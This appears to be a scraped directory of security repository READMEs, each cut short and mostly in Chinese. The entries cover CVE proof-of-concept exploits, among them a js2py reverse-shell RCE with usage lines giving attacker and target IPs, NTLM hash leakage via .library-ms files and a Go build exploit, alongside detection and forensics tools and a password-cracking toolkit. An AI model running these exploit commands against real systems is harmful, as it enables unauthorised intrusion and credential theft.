CVE-2026-25645

CVE-2026-25645 Reutilización insegura de archivos temporales en requests.utils.extractzippedpaths Resumen ejecutivo Se identificó una vulnerabilidad en la biblioteca requests Python dentro de la función de utilidad pública requests.utils.extractzippedpaths. La función utiliza un nombre de archivo...

CVE-2024-28397-RCE

CVE-2024-28397 RCE 脚本 默认使用反向 shell 载荷，并允许可选命令参数 该利用程序适用于 js2py = v0.74 要求 Python 3.x requests 库（pip install requests） Netcat 监听器（用于反向 shell） 使用示例 反向 shell： python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 自定义命令： python exploit.py 10.129.227.108 /runcode --cmd "id"...

cve-2025-24071

CVE-2025-24054 和 CVE-2025-24071 - 通过 .library-ms 漏洞泄露 NTLM 哈希 该 PoC 演示了在未修补的 Windows 系统（2025 年 3 月补丁星期二）上通过 .library-ms 文件利用 NTLM 哈希泄露。 ⚠️ 本内容仅供教育和研究目的使用。请勿在生产环境或未经授权的系统上使用。 🧠 描述 当在 Windows 资源管理器中打开（或预览）包含 UNC 路径的 .library-ms 文件时，会触发向指定服务器发送 SMB 认证请求，导致 NTLMv2 哈希泄露。 📁 文件 generatelibraryms.py：生成恶意的...

CorruptQueryAccessWorkaround

CorruptQueryAccessWorkaround：查询 '' 已损坏 针对 CVE-2019-1402 在 MS Access 中引入的「查询已损坏https://support.office.com/en-us/article/access-error-query-is-corrupt-fad205a5-9fd4-49f1-be83-f21636caedec」错误的最新解决方法。 还有其他一些解决方法需要在管理级别应用，例如卸载错误的更新。与此相比，这里提供的解决方法的意图是通过自动更改 MDB/ACCDB 内容本身来工作，且工作量尽可能小。 注意 微软确实在...

Zerodapi

Zerodai 文档 开始！ pip install zerodai==0.0.0.20 export zerodapikey="TUAPIKEY" 获取你的 API 密钥 https://zerodai.com 简单对话聊天 - 无记忆 from zerodai import zerodai import os zerodai.apiauthos.getenv"zerodapikey" messages = while True: prompt = input" " if prompt == "exit": break messages.append"role": "user",...

cve-2018-6574-exploit

cve-2018-6574-利用 gcc -shared -o attack.so -fPIC attack.c go get github.com/zerbaliy3v/cve-2018-6574-exploit...

fuzz-wooyun-org

fuzz-wooyun-org WooYun Fuzz 库...

drltrace

Drltrace Windows test build Linux test build Drltrace is a dynamic API calls tracer for Windows and Linux applications. Drltrace is built on top of DynamoRIO dynamic binary instrumentation framework. Drltrace was initialy implemented by Derek Bruening and distributed with DynamoRIO and DrMemory...

CVE-2021-21234

CVE-2021-21234 spring-boot-actuator-logview 库中的目录遍历漏洞 https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234...

log4j-detect

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability CVE-2021-44228 for a list of URL with multithreading The script "log4j-detect.py" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228. To do so, it sends a G...

beagle

Beagle 1. About Beagle 2. Installation 1. Docker 2. Python Package 3. Configuration 3. Web Interface 1. Uploading Data 2. Browsing Existing Graphs 3. Graph Interface 1. Inspecting Nodes and Edges 2. Expanding Neighbours 3. Hiding Nodes 4. Running Mutators 5. Toggling Node and Edge Types 6...

beagle

Beagle 1. 关于 Beagle 2. 安装 1. Docker 2. Python 包 3. 配置 3. Web 界面 1. 上传数据 2. 浏览现有图 3. 图界面 1. 检查节点和边 2. 展开邻居节点 3. 隐藏节点 4. 运行变异器 5. 切换节点和边类型 6. 撤销/重做操作与重置 7. 图视角 4. Python 库 1. 控制边生成 2. 加载已保存的 JSON 5. 文档 关于 Beagle Beagle 是一款事件响应和数字取证工具，可将数据源和日志转换为图。支持的数据源包括 FireEye HX Triages、Windows EVTX 文件、SysMon...

CLSA-2026-1790970528 TuxCare security update for org.springframework (27 CVEs)

TuxCare rebuilt 22 org.springframework packages to address 27 CVEs. Fixed in 5.0.19.RELEASE-tuxcare.1...

tiny-AES-c

用 C 语言实现的微型 AES 这是一个用 C 语言编写的小型、可移植的 AES ECB、CTR 和 CBC 加密算法实现。 你可以通过在 aes.h 中定义符号 AES192 或 AES256，将默认的 128 位密钥长度覆盖为 192 位或 256 位。 API 非常简单，如下所示（我使用了 C99 风格的注解类型）： / Initialize context calling one of: / void AESinitctxstruct AESctx ctx, const uint8t key; void AESinitctxivstruct AESctx ctx, const...

CVE-2018-8097

CVE-2018-8097 PoC 这是一个简单的 Python 概念验证脚本，演示了 CVE-2018-8097 漏洞，该漏洞影响版本低于 0.7.5 的 PyEve 库。 用法 usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help 显示此帮助信息并退出 -u URL, --url URL 目标URL（可使用'where'过滤器的地址），例如 http://example.com/people -c COMMAND, --command COMMAND 要执行的系统命令（不应包含引号） 资源...

fses

fses 搜索引擎爬虫 - 用于从搜索引擎抓取 URL 的 Python 库 我们抓取的搜索引擎 Ask Bing DuckDuckGO UOL Yahoo 安装 git clone https://github.com/mthbernardes/fses.git cd fses pip install -r requeriments.txt 用法 使用 Ask 进行简单搜索 from searchEngines.ask import ask print "Ask Search" query = "site:domain.com" 设置一个 dork a = ask 创建任意搜索引擎的实...

fses

fses Fucking Search Engines Scraper - python library to scrap url's from search engines Search Engines we scrap Ask Bing DuckDuck GO UOL Yahoo Install git clone https://github.com/mthbernardes/fses.git cd fses pip install -r requeriments.txt Usage Simple search using Ask from searchEngines.ask...

pcfg_cracker

PCFG = Probabilistic Context Free Grammar PCFG = Pretty Cool Fuzzy Guesser In short: A collection of tools to perform research into how humans generate passwords. These can be used to crack password hashes, but also create synthetic passwords honeywords, or help develop better password strength...

CVE-2022-24816

CVE-2022-24816 脚本使用说明 先决条件 1. 克隆仓库 ： git clone https://github.com/c1ph3rbyt3/CVE-2022-24816.git cd CVE-2022-24816 2. 安装依赖 ： 请确保已安装 Python 3。然后运行以下命令安装所需依赖： pip install -r requirements.txt requirements.txt 文件包含以下库： requests urllib3 colorama 如何使用脚本 可用选项 -u 或 --url：指定易受攻击的 GeoServer 服务器的目标...

CVE-2022-24834

CVE-2022-24834 公开利用程序的改进 作者 Conviso Research Team 描述 Ricerca Security @RicercaSec 团队发现并成功利用了一个 Redis 所包含的 Lua 解释器中的有趣漏洞 CVE-2022-24834。该漏洞是 cjson 库中的堆溢出漏洞，详细的分析可参见此处。 我们注意到一些硬编码的偏移量 2 3，这可能会给希望测试该漏洞的人带来不便，因此我们决定将其移除。主要目标是使其更通用，并学习一些 Lua 内部机制。 我们进行的修改 我们使用了一个巨大的字符串，以便更轻松地读取任意内存地址； 我们使用了 Lua 协程来泄露栈...